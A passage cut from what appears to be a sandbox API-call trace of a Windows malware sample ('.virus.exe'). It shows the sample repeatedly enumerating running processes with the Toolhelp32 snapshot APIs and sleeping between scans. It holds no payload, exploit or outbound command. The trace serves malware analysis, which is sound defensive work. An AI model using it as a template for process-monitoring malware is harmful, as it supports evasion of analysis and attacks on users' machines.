pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0176.589] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0176.590] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.590] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0176.591] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0176.591] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0176.592] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0176.592] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0176.593] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0176.593] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0176.594] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0176.594] CloseHandle (hObject=0x1f0) returned 1 [0176.595] Sleep (dwMilliseconds=0x1f4) [0177.284] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f0 [0177.288] Process32FirstW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.288] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0177.289] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0177.289] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0177.289] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0177.290] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0177.290] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0177.291] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0177.291] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0177.292] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0177.292] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.293] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.293] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.294] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.294] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.294] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0177.295] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.295] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.296] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0177.296] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0177.297] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0177.297] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0177.297] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0177.298] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.298] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0177.299] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0177.299] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0177.300] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0177.300] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0177.301] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0177.301] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0177.302] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0177.302] CloseHandle (hObject=0x1f0) returned 1 [0177.302] Sleep (dwMilliseconds=0x1f4) [0177.940] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e8 [0177.943] Process32FirstW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.943] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0177.944] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0177.944] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0177.944] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0177.945] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0177.945] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0177.946] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0177.947] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0177.947] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0177.948] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.948] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.949] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.949] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.950] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.950] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0177.951] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.951] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.952] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0177.953] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0177.953] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0177.954] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0177.954] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0177.956] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.956] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0177.957] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0177.958] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0177.958] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0177.959] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0177.959] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0177.960] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0177.960] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0177.961] CloseHandle (hObject=0x1e8) returned 1 [0177.961] Sleep (dwMilliseconds=0x1f4) [0178.673] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e8 [0178.676] Process32FirstW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0178.676] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0178.677] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0178.677] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0178.678] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0178.678] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0178.679] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, 